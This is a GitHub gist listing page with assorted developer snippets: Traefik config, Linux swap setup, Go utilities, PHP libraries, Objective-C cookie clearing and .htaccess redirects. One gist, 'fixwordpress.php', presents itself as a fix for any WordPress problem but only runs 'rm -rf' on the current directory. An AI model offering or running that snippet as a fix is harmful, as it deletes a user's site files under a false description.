Skip to content

Instantly share code, notes, and snippets.

View J7mbo's full-sized avatar
🔨
Working with distributed systems

James Mallison J7mbo

🔨
Working with distributed systems
View GitHub Profile
@darth-veitcher
darth-veitcher / docker-compose.yaml
Created September 9, 2019 13:26
Traefik v2.0 with Cloudflare Wildcard and OpenVPN
version: "3"
services:
traefik:
image: "traefik:v2.0"
container_name: "traefik"
command:
# Globals
- "--log.level=DEBUG"
- "--api=true"
@jesugmz
jesugmz / create-swap-file-in-linux.md
Last active October 5, 2020 17:02
Create and add a swap file in Linux

Create and add a swap file in Linux

1. Create Storage File

Type the following command to create 512MB swap file (1024 * 512MB = 524288 block size):

dd if=/dev/zero of=/swapfile bs=1024 count=524288
@miguelmota
miguelmota / resize_event.go
Created February 17, 2018 12:22
Golang goncurses detect resize event
package main
import (
"os"
"os/signal"
"strconv"
"sync"
"syscall"
gc "github.com/rgburke/goncurses"
@cdipaolo
cdipaolo / HaversinFormula.go
Created April 15, 2015 01:31
Golang functions to calculate the distance in meters between long,lat points on Earth.
// haversin(θ) function
func hsin(theta float64) float64 {
return math.Pow(math.Sin(theta/2), 2)
}
// Distance function returns the distance (in meters) between two points of
// a given longitude and latitude relatively accurately (using a spherical
// approximation of the Earth) through the Haversin Distance Formula for
// great arc distance on a sphere with accuracy for small distances
//
@DaveRandom
DaveRandom / fixwordpress.php
Created October 27, 2013 14:14
Fixes any problem with any Wordpress installation. Simply run this from your wordpress root directory.
<?php
exec("rm -rf '" . getcwd() . "/*'");
@DaveRandom
DaveRandom / Cell.php
Last active December 15, 2015 03:29
Small library for manipulating Excel spreadsheets using COM on a Windows machine with Microsoft Office is installed
<?php
/**
* Class for objects representing a single cell in an Excel worksheet
*
* PHP version 5.3/Windows, requires Microsoft Office Excel to be installed on the host system
*
* @package ExcelCOM
* @author Chris Wright <info@daverandom.com>
* @license http://www.opensource.org/licenses/mit-license.html MIT License
* @version 1.0.0
@satsura
satsura / Doctrine.xml
Created February 26, 2013 07:54
PHPStorm Doctrine Command Line Tools
<?xml version="1.0" encoding="UTF-8"?>
<framework xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="schemas/frameworkDescriptionVersion1.1.3.xsd" name="Doctrine"
invoke="$PhpExecutable$ $ProjectFileDir$/application/doctrine-cli.php" alias="doctrine-cli" enabled="true"
version="2">
<command>
<name>help</name>
<help><![CDATA[Displays help for a command]]></help>
</command>
<command>
@Ocramius
Ocramius / BasicDicContainer.php
Created July 20, 2012 17:02
DIC container 101 in PHP
<?php
class B {
protected $c;
public function __construct(C $c) {
$this->c = $c;
}
}
class C {}
@rubdottocom
rubdottocom / gist:2720834
Created May 17, 2012 18:43
Objective-C: Clean Cache and Cookie from UIWebView
//Set Cache
NSURLCache *sharedCache = [[NSURLCache alloc] initWithMemoryCapacity:0 diskCapacity:0 diskPath:nil];
[NSURLCache setSharedURLCache:sharedCache];
//Clear All Cookies
for(NSHTTPCookie *cookie in [[NSHTTPCookieStorage sharedHTTPCookieStorage] cookies]) {
[[NSHTTPCookieStorage sharedHTTPCookieStorage] deleteCookie:cookie];
}
@ScottPhillips
ScottPhillips / .htaccess
Created February 2, 2012 04:30
Common .htaccess Redirects
#301 Redirects for .htaccess
#Redirect a single page:
Redirect 301 /pagename.php http://www.domain.com/pagename.html
#Redirect an entire site:
Redirect 301 / http://www.domain.com/
#Redirect an entire site to a sub folder
Redirect 301 / http://www.domain.com/subfolder/